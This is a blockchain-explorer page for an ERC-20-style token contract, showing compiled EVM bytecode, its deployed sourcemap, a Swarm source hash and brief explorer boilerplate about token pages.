fa158015610bcb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bef9190611312565b81600181518110610c0257610c026112fc565b6001600160a01b039283166020918202929092010152601054610c2891309116846105e8565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac94790610c6190859060009086903090429060040161132f565b600060405180830381600087803b158015610c7b57600080fd5b505af1158015610c8f573d6000803e3d6000fd5b50506011805460ff60a01b1916905550505050565b80610cb157610cb1610d37565b610cbc848484610d65565b80610a6657610a66600d54600b55600e54600c55565b6000806000610cdf610e5c565b9092509050610cee8282610cf5565b9250505090565b6000610b2383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610ea4565b600b54158015610d475750600c54155b15610d4e57565b600b8054600d55600c8054600e5560009182905555565b600080600080600080610d7787610ed2565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610da99087610f2f565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054610dd89086610f71565b6001600160a01b038916600090815260026020526040902055610dfa81610fd0565b610e04848361101a565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610e4991815260200190565b60405180910390a3505050505050505050565b60065460009081906b033b2e3c9fd0803ce8000000610e7b8282610cf5565b821015610e9b575050600654926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008183610ec55760405162461bcd60e51b81526004016104e09190611165565b506000610a9d84866113a0565b6000806000806000806000806000610eef8a600b54600c5461103e565b9250925092506000610eff610cd2565b90506000806000610f128e878787611093565b919e509c509a509598509396509194505050505091939550919395565b6000610b2383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610a6c565b600080610f7e83856112d6565b905083811015610b235760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104e0565b6000610fda610cd2565b90506000610fe883836110e3565b306000908152600260205260409020549091506110059082610f71565b30600090815260026020526040902055505050565b6006546110279083610f2f565b6006556007546110379082610f71565b6007555050565b6000808080611058606461105289896110e3565b90610cf5565b9050600061106b60646110528a896110e3565b905060006110838261107d8b86610f2f565b90610f2f565b9992985090965090945050505050565b60008080806110a288866110e3565b905060006110b088876110e3565b905060006110be88886110e3565b905060006110d08261107d8686610f2f565b939b939a50919850919650505050505050565b6000826000036110f5575060006103df565b600061110183856113c2565b90508261110e85836113a0565b14610b235760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104e0565b600060208083528351808285015260005b8181101561119257858101830151858201604001528201611176565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461042857600080fd5b600080604083850312156111db57600080fd5b82356111e6816111b3565b946020939093013593505050565b60008060006060848603121561120957600080fd5b8335611214816111b3565b92506020840135611224816111b3565b929592945050506040919091013590565b60006020828403121561124757600080fd5b8135610b23816111b3565b6000806040838503121561126557600080fd5b8235611270816111b3565b91506020830135611280816111b3565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b808201808211156103df576103df6112c0565b818103818111156103df576103df6112c0565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561132457600080fd5b8151610b23816111b3565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561137f5784516001600160a01b03168352938301939183019160010161135a565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826113bd57634e487b7160e01b600052601260045260246000fd5b500490565b80820281158282048414176103df576103df6112c056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b50e831b6f7d96b68497ad5183e6f9b974d5fa685568cdadd63909d66522eece64736f6c63430008120033
Deployed Bytecode Sourcemap
3977:9153:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5624:83;;;;;;;;;;-1:-1:-1;5694:5:0;;;;;;;;;;;;-1:-1:-1;;;5694:5:0;;;;5624:83;;;;;;;:::i;:::-;;;;;;;;6476:161;;;;;;;;;;-1:-1:-1;6476:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6476:161:0;1023:187:1;5901:95:0;;;;;;;;;;-1:-1:-1;4430:12:0;5901:95;;;1361:25:1;;;1349:2;1334:18;5901:95:0;1215:177:1;10077::0;;;;;;;;;;;;;:::i;:::-;;6645:313;;;;;;;;;;-1:-1:-1;6645:313:0;;;;;:::i;:::-;;:::i;5810:83::-;;;;;;;;;;-1:-1:-1;5810:83:0;;4386:2;2000:36:1;;1988:2;1973:18;5810:83:0;1858:184:1;5011:22:0;;;;;;;;;;-1:-1:-1;5011:22:0;;;;-1:-1:-1;;;;;5011:22:0;;;;;;-1:-1:-1;;;;;2211:32:1;;;2193:51;;2181:2;2166:18;5011:22:0;2047:203:1;4736:33:0;;;;;;;;;;-1:-1:-1;4736:33:0;;;;;;;;6004:138;;;;;;;;;;-1:-1:-1;6004:138:0;;;;;:::i;:::-;;:::i;2995:148::-;;;;;;;;;;;;;:::i;4646:36::-;;;;;;;;;;;;;;;;8096:84;;;;;;;;;;;;;:::i;2781:79::-;;;;;;;;;;-1:-1:-1;2819:7:0;2846:6;-1:-1:-1;;;;;2846:6:0;2781:79;;5715:87;;;;;;;;;;-1:-1:-1;5787:7:0;;;;;;;;;;;;-1:-1:-1;;;5787:7:0;;;;5715:87;;4977:27;;;;;;;;;;-1:-1:-1;4977:27:0;;;;-1:-1:-1;;;;;4977:27:0;;;6150:167;;;;;;;;;;-1:-1:-1;6150:167:0;;;;;:::i;:::-;;:::i;6966:172::-;;;;;;;;;;-1:-1:-1;6966:172:0;;;;;:::i;:::-;;:::i;6325:143::-;;;;;;;;;;-1:-1:-1;6325:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6433:18:0;;;6406:7;6433:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6325:143;4689:40;;;;;;;;;;;;;;;;6476:161;6551:4;6568:39;272:10;6591:7;6600:6;6568:8;:39::i;:::-;-1:-1:-1;6625:4:0;6476:161;;;;;:::o;10077:177::-;10135:21;10171:14;;10167:80;;10210:3;;10202:33;;-1:-1:-1;;;;;10210:3:0;;;;10202:33;;;;;10224:10;;10210:3;10202:33;10210:3;10202:33;10224:10;10210:3;10202:33;;;;;;;;;;;;;;;;;;;;;10167:80;10103:151;10077:177::o;6645:313::-;6743:4;6760:36;6770:6;6778:9;6789:6;6760:9;:36::i;:::-;6807:121;6816:6;272:10;6838:89;6876:6;6838:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6838:19:0;;;;;;:11;:19;;;;;;;;272:10;6838:33;;;;;;;;;;:37;:89::i;:::-;6807:8;:121::i;:::-;-1:-1:-1;6946:4:0;6645:313;;;;;:::o;6004:138::-;-1:-1:-1;;;;;6117:16:0;;6070:7;6117:16;;;:7;:16;;;;;;6097:37;;:19;:37::i;2995:148::-;2908:6;;-1:-1:-1;;;;;2908:6:0;272:10;2908:22;2900:67;;;;-1:-1:-1;;;2900:67:0;;;;;;;:::i;:::-;;;;;;;;;3102:1:::1;3086:6:::0;;3065:40:::1;::::0;-1:-1:-1;;;;;3086:6:0;;::::1;::::0;3065:40:::1;::::0;3102:1;;3065:40:::1;3133:1;3116:19:::0;;-1:-1:-1;;;;;;3116:19:0::1;::::0;;2995:148::o;8096:84::-;2908:6;;-1:-1:-1;;;;;2908:6:0;272:10;2908:22;2900:67;;;;-1:-1:-1;;;2900:67:0;;;;;;;:::i;:::-;8150:14:::1;:22:::0;;-1:-1:-1;;8150:22:0::1;::::0;;8096:84::o;6150:167::-;6228:4;6245:42;272:10;6269:9;6280:6;6245:9;:42::i;6966:172::-;2908:6;;-1:-1:-1;;;;;2908:6:0;272:10;2908:22;2900:67;;;;-1:-1:-1;;;2900:67:0;;;;;;;:::i;:::-;7042:25:::1;7051:4:::0;7057;-1:-1:-1;;7042:8:0::1;:25::i;:::-;-1:-1:-1::0;7078:3:0::1;:10:::0;;-1:-1:-1;;;;;7078:10:0;;::::1;-1:-1:-1::0;;;;;;7078:10:0;;::::1;::::0;::::1;::::0;;:3:::1;7099:24:::0;;;:18:::1;:24;::::0;;;;:31;;-1:-1:-1;;7099:31:0::1;7078:10:::0;7099:31:::1;::::0;;6966:172::o;7753:335::-;-1:-1:-1;;;;;7846:19:0;;7838:68;;;;-1:-1:-1;;;7838:68:0;;3689:2:1;7838:68:0;;;3671:21:1;3728:2;3708:18;;;3701:30;3767:34;3747:18;;;3740:62;-1:-1:-1;;;3818:18:1;;;3811:34;3862:19;;7838:68:0;3487:400:1;7838:68:0;-1:-1:-1;;;;;7925:21:0;;7917:68;;;;-1:-1:-1;;;7917:68:0;;4094:2:1;7917:68:0;;;4076:21:1;4133:2;4113:18;;;4106:30;4172:34;4152:18;;;4145:62;-1:-1:-1;;;4223:18:1;;;4216:32;4265:19;;7917:68:0;3892:398:1;7917:68:0;-1:-1:-1;;;;;7996:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8048:32;;1361:25:1;;;8048:32:0;;1334:18:1;8048:32:0;;;;;;;7753:335;;;:::o;8192:1405::-;8275:14;;;;8272:789;;;2819:7;2846:6;-1:-1:-1;;;;;8327:15:0;;;2846:6;;8327:15;;;;:49;;-1:-1:-1;2819:7:0;2846:6;-1:-1:-1;;;;;8363:13:0;;;2846:6;;8363:13;;8327:49;:86;;;;-1:-1:-1;;;;;;8397:16:0;;;;8327:86;:128;;;;-1:-1:-1;;;;;;8434:21:0;;8448:6;8434:21;;8327:128;:156;;;;-1:-1:-1;8477:6:0;;-1:-1:-1;;;8477:6:0;;;;8476:7;8327:156;8305:745;;;8546:7;;-1:-1:-1;;;;;8546:7:0;;;8538:15;;;;8534:501;;8596:5;;8586:6;:15;;8578:81;;;;-1:-1:-1;;;8578:81:0;;4497:2:1;8578:81:0;;;4479:21:1;4536:2;4516:18;;;4509:30;4575:34;4555:18;;;4548:62;-1:-1:-1;;;4626:18:1;;;4619:51;4687:19;;8578:81:0;4295:417:1;8578:81:0;8716:9;;8699:13;8709:2;8699:9;:13::i;:::-;8690:22;;:6;:22;:::i;:::-;:35;;8682:67;;;;-1:-1:-1;;;8682:67:0;;5181:2:1;8682:67:0;;;5163:21:1;5220:2;5200:18;;;5193:30;-1:-1:-1;;;5239:18:1;;;5232:49;5298:18;;8682:67:0;4979:343:1;8682:67:0;8534:501;;;8785:7;;-1:-1:-1;;;;;8785:7:0;;;8779:13;;;;8775:260;;8835:5;;8825:6;:15;;8817:82;;;;-1:-1:-1;;;8817:82:0;;5529:2:1;8817:82:0;;;5511:21:1;5568:2;5548:18;;;5541:30;5607:34;5587:18;;;5580:62;-1:-1:-1;;;5658:18:1;;;5651:52;5720:19;;8817:82:0;5327:418:1;8775:260:0;8982:9;;8965:13;8975:2;8965:9;:13::i;:::-;8956:22;;:6;:22;:::i;:::-;:35;;8948:67;;;;-1:-1:-1;;;8948:67:0;;5181:2:1;8948:67:0;;;5163:21:1;5220:2;5200:18;;;5193:30;-1:-1:-1;;;5239:18:1;;;5232:49;5298:18;;8948:67:0;4979:343:1;8948:67:0;-1:-1:-1;;;;;9106:24:0;;9073:12;9106:24;;;:18;:24;;;;;;9088:4;;9106:24;;;:50;;-1:-1:-1;;;;;;9134:22:0;;;;;;:18;:22;;;;;;;;9106:50;9103:438;;;-1:-1:-1;9183:5:0;9103:438;;;9225:6;;-1:-1:-1;;;9225:6:0;;;;9224:7;:26;;;;-1:-1:-1;9243:7:0;;-1:-1:-1;;;;;9235:15:0;;;9243:7;;9235:15;;9224:26;9221:309;;;9271:20;9294:24;9312:4;9294:9;:24::i;:::-;9347:3;;9337:33;;-1:-1:-1;;;9337:33:0;;-1:-1:-1;;;;;5942:32:1;;;9337:33:0;;;5924:51:1;5991:18;;;5984:34;;;9271:47:0;;-1:-1:-1;9347:3:0;;;9337:19;;5897:18:1;;9337:33:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9407:1;9392:12;:16;9389:126;;;9433:30;9450:12;9433:16;:30::i;:::-;9486:9;:7;:9::i;:::-;9252:278;9221:309;9551:38;9566:4;9571:2;9574:6;9581:7;9551:14;:38::i;:::-;8261:1336;8192:1405;;;:::o;1327:190::-;1413:7;1449:12;1441:6;;;;1433:29;;;;-1:-1:-1;;;1433:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1473:9:0;1485:5;1489:1;1485;:5;:::i;:::-;1473:17;1327:190;-1:-1:-1;;;;;1327:190:0:o;7146:254::-;7213:7;7252;;7241;:18;;7233:73;;;;-1:-1:-1;;;7233:73:0;;6364:2:1;7233:73:0;;;6346:21:1;6403:2;6383:18;;;6376:30;6442:34;6422:18;;;6415:62;-1:-1:-1;;;6493:18:1;;;6486:40;6543:19;;7233:73:0;6162:406:1;7233:73:0;7317:19;7340:10;:8;:10::i;:::-;7317:33;-1:-1:-1;7368:24:0;:7;7317:33;7368:11;:24::i;:::-;7361:31;7146:254;-1:-1:-1;;;7146:254:0:o;9605:464::-;5105:6;:13;;-1:-1:-1;;;;5105:13:0;-1:-1:-1;;;5105:13:0;;;9704:16:::1;::::0;;9718:1:::1;9704:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9704:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9704:16:0::1;9680:40;;9749:4;9731;9736:1;9731:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9731:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9775:9:::1;::::0;:16:::1;::::0;;-1:-1:-1;;;9775:16:0;;;;:9;;;::::1;::::0;:14:::1;::::0;:16:::1;::::0;;::::1;::::0;9731:7;;9775:16;;;;;:9;:16:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9765:4;9770:1;9765:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9765:26:0;;::::1;:7;::::0;;::::1;::::0;;;;;:26;9834:9:::1;::::0;9802:56:::1;::::0;9819:4:::1;::::0;9834:9:::1;9846:11:::0;9802:8:::1;:56::i;:::-;9871:9;::::0;:190:::1;::::0;-1:-1:-1;;;9871:190:0;;-1:-1:-1;;;;;9871:9:0;;::::1;::::0;:60:::1;::::0;:190:::1;::::0;9946:11;;9871:9:::1;::::0;9988:4;;10015::::1;::::0;10035:15:::1;::::0;9871:190:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5141:6:0;:14;;-1:-1:-1;;;;5141:14:0;;;-1:-1:-1;;;;9605:464:0:o;10266:263::-;10378:7;10374:40;;10400:14;:12;:14::i;:::-;10425:44;10443:6;10451:9;10462:6;10425:17;:44::i;:::-;10484:7;10480:41;;10506:15;7684;;7674:7;:25;7721:16;;7710:8;:27;7630:115;11870:163;11911:7;11932:15;11949;11968:19;:17;:19::i;:::-;11931:56;;-1:-1:-1;11931:56:0;-1:-1:-1;12005:20:0;11931:56;;12005:11;:20::i;:::-;11998:27;;;;11870:163;:::o;1778:132::-;1836:7;1863:39;1867:1;1870;1863:39;;;;;;;;;;;;;;;;;:3;:39::i;7408:210::-;7454:7;;:12;:29;;;;-1:-1:-1;7470:8:0;;:13;7454:29;7451:41;;;7408:210::o;7451:41::-;7520:7;;;7502:15;:25;7557:8;;;7538:16;:27;-1:-1:-1;7576:11:0;;;;7598:12;7408:210::o;10537:490::-;10636:15;10653:23;10678:12;10692:23;10717:12;10731:13;10748:19;10759:7;10748:10;:19::i;:::-;-1:-1:-1;;;;;10796:15:0;;;;;;:7;:15;;;;;;10635:132;;-1:-1:-1;10635:132:0;;-1:-1:-1;10635:132:0;;-1:-1:-1;10635:132:0;-1:-1:-1;10635:132:0;-1:-1:-1;10635:132:0;-1:-1:-1;10796:28:0;;10635:132;10796:19;:28::i;:::-;-1:-1:-1;;;;;10778:15:0;;;;;;;:7;:15;;;;;;:46;;;;10856:18;;;;;;;:39;;10879:15;10856:22;:39::i;:::-;-1:-1:-1;;;;;10835:18:0;;;;;;:7;:18;;;;;:60;10909:16;10919:5;10909:9;:16::i;:::-;10936:23;10948:4;10954;10936:11;:23::i;:::-;10992:9;-1:-1:-1;;;;;10975:44:0;10984:6;-1:-1:-1;;;;;10975:44:0;;11003:15;10975:44;;;;1361:25:1;;1349:2;1334:18;;1215:177;10975:44:0;;;;;;;;10624:403;;;;;;10537:490;;;:::o;12041:255::-;12138:7;;12091;;;;4430:12;12205:20;12138:7;4430:12;12205:11;:20::i;:::-;12195:7;:30;12192:60;;;-1:-1:-1;;12235:7:0;;;4430:12;;-1:-1:-1;12041:255:0;-1:-1:-1;12041:255:0:o;12192:60::-;12271:7;;12280;;-1:-1:-1;12041:255:0;-1:-1:-1;12041:255:0:o;1918:189::-;2004:7;2039:12;2032:5;2024:28;;;;-1:-1:-1;;;2024:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2063:9:0;2075:5;2079:1;2075;:5;:::i;11035:468::-;11094:7;11103;11112;11121;11130;11139;11160:23;11185:12;11199:13;11216:39;11228:7;11237;;11246:8;;11216:11;:39::i;:::-;11159:96;;;;;;11266:19;11289:10;:8;:10::i;:::-;11266:33;;11311:15;11328:23;11353:12;11369:46;11381:7;11390:4;11396:5;11403:11;11369;:46::i;:::-;11310:105;;-1:-1:-1;11310:105:0;-1:-1:-1;11310:105:0;-1:-1:-1;11466:15:0;;-1:-1:-1;11483:4:0;;-1:-1:-1;11489:5:0;;-1:-1:-1;;;;;11035:468:0;;;;;;;:::o;1183:136::-;1241:7;1268:43;1272:1;1275;1268:43;;;;;;;;;;;;;;;;;:3;:43::i;996:179::-;1054:7;;1086:5;1090:1;1086;:5;:::i;:::-;1074:17;;1115:1;1110;:6;;1102:46;;;;-1:-1:-1;;;1102:46:0;;8502:2:1;1102:46:0;;;8484:21:1;8541:2;8521:18;;;8514:30;8580:29;8560:18;;;8553:57;8627:18;;1102:46:0;8300:351:1;12721:214:0;12774:19;12797:10;:8;:10::i;:::-;12774:33;-1:-1:-1;12818:13:0;12834:22;:5;12774:33;12834:9;:22::i;:::-;12910:4;12894:22;;;;:7;:22;;;;;;12818:38;;-1:-1:-1;12894:33:0;;12818:38;12894:26;:33::i;:::-;12885:4;12869:22;;;;:7;:22;;;;;:58;-1:-1:-1;;;12721:214:0:o;12943:147::-;13021:7;;:17;;13033:4;13021:11;:17::i;:::-;13011:7;:27;13062:10;;:20;;13077:4;13062:14;:20::i;:::-;13049:10;:33;-1:-1:-1;;12943:147:0:o;11511:351::-;11604:7;;;;11657:28;11681:3;11657:19;:7;11669:6;11657:11;:19::i;:::-;:23;;:28::i;:::-;11642:43;-1:-1:-1;11696:13:0;11712:29;11737:3;11712:20;:7;11724;11712:11;:20::i;:29::-;11696:45;-1:-1:-1;11752:23:0;11778:28;11696:45;11778:17;:7;11790:4;11778:11;:17::i;:::-;:21;;:28::i;:::-;11752:54;11842:4;;-1:-1:-1;11848:5:0;;-1:-1:-1;11511:351:0;;-1:-1:-1;;;;;11511:351:0:o;12304:409::-;12414:7;;;;12470:24;:7;12482:11;12470;:24::i;:::-;12452:42;-1:-1:-1;12505:12:0;12520:21;:4;12529:11;12520:8;:21::i;:::-;12505:36;-1:-1:-1;12552:13:0;12568:22;:5;12578:11;12568:9;:22::i;:::-;12552:38;-1:-1:-1;12601:23:0;12627:28;12552:38;12627:17;:7;12639:4;12627:11;:17::i;:28::-;12674:7;;;;-1:-1:-1;12700:4:0;;-1:-1:-1;12304:409:0;;-1:-1:-1;;;;;;;12304:409:0:o;1525:245::-;1583:7;1606:1;1611;1606:6;1603:46;;-1:-1:-1;1636:1:0;1629:8;;1603:46;1659:9;1671:5;1675:1;1671;:5;:::i;:::-;1659:17;-1:-1:-1;1704:1:0;1695:5;1699:1;1659:17;1695:5;:::i;:::-;:10;1687:56;;;;-1:-1:-1;;;1687:56:0;;9031:2:1;1687:56:0;;;9013:21:1;9070:2;9050:18;;;9043:30;9109:34;9089:18;;;9082:62;-1:-1:-1;;;9160:18:1;;;9153:31;9201:19;;1687:56:0;8829:397:1;14:548;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2255:247::-;2314:6;2367:2;2355:9;2346:7;2342:23;2338:32;2335:52;;;2383:1;2380;2373:12;2335:52;2422:9;2409:23;2441:31;2466:5;2441:31;:::i;2733:388::-;2801:6;2809;2862:2;2850:9;2841:7;2837:23;2833:32;2830:52;;;2878:1;2875;2868:12;2830:52;2917:9;2904:23;2936:31;2961:5;2936:31;:::i;:::-;2986:5;-1:-1:-1;3043:2:1;3028:18;;3015:32;3056:33;3015:32;3056:33;:::i;:::-;3108:7;3098:17;;;2733:388;;;;;:::o;3126:356::-;3328:2;3310:21;;;3347:18;;;3340:30;3406:34;3401:2;3386:18;;3379:62;3473:2;3458:18;;3126:356::o;4717:127::-;4778:10;4773:3;4769:20;4766:1;4759:31;4809:4;4806:1;4799:15;4833:4;4830:1;4823:15;4849:125;4914:9;;;4935:10;;;4932:36;;;4948:18;;:::i;6029:128::-;6096:9;;;6117:11;;;6114:37;;;6131:18;;:::i;6705:127::-;6766:10;6761:3;6757:20;6754:1;6747:31;6797:4;6794:1;6787:15;6821:4;6818:1;6811:15;6837:251;6907:6;6960:2;6948:9;6939:7;6935:23;6931:32;6928:52;;;6976:1;6973;6966:12;6928:52;7008:9;7002:16;7027:31;7052:5;7027:31;:::i;7093:980::-;7355:4;7403:3;7392:9;7388:19;7434:6;7423:9;7416:25;7460:2;7498:6;7493:2;7482:9;7478:18;7471:34;7541:3;7536:2;7525:9;7521:18;7514:31;7565:6;7600;7594:13;7631:6;7623;7616:22;7669:3;7658:9;7654:19;7647:26;;7708:2;7700:6;7696:15;7682:29;;7729:1;7739:195;7753:6;7750:1;7747:13;7739:195;;;7818:13;;-1:-1:-1;;;;;7814:39:1;7802:52;;7909:15;;;;7874:12;;;;7850:1;7768:9;7739:195;;;-1:-1:-1;;;;;;;7990:32:1;;;;7985:2;7970:18;;7963:60;-1:-1:-1;;;8054:3:1;8039:19;8032:35;7951:3;7093:980;-1:-1:-1;;;7093:980:1:o;8078:217::-;8118:1;8144;8134:132;;8188:10;8183:3;8179:20;8176:1;8169:31;8223:4;8220:1;8213:15;8251:4;8248:1;8241:15;8134:132;-1:-1:-1;8280:9:1;;8078:217::o;8656:168::-;8729:9;;;8760;;8777:15;;;8771:22;;8757:37;8747:71;;8798:18;;:::i
Swarm Source
ipfs://b50e831b6f7d96b68497ad5183e6f9b974d5fa685568cdadd63909d66522eece
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.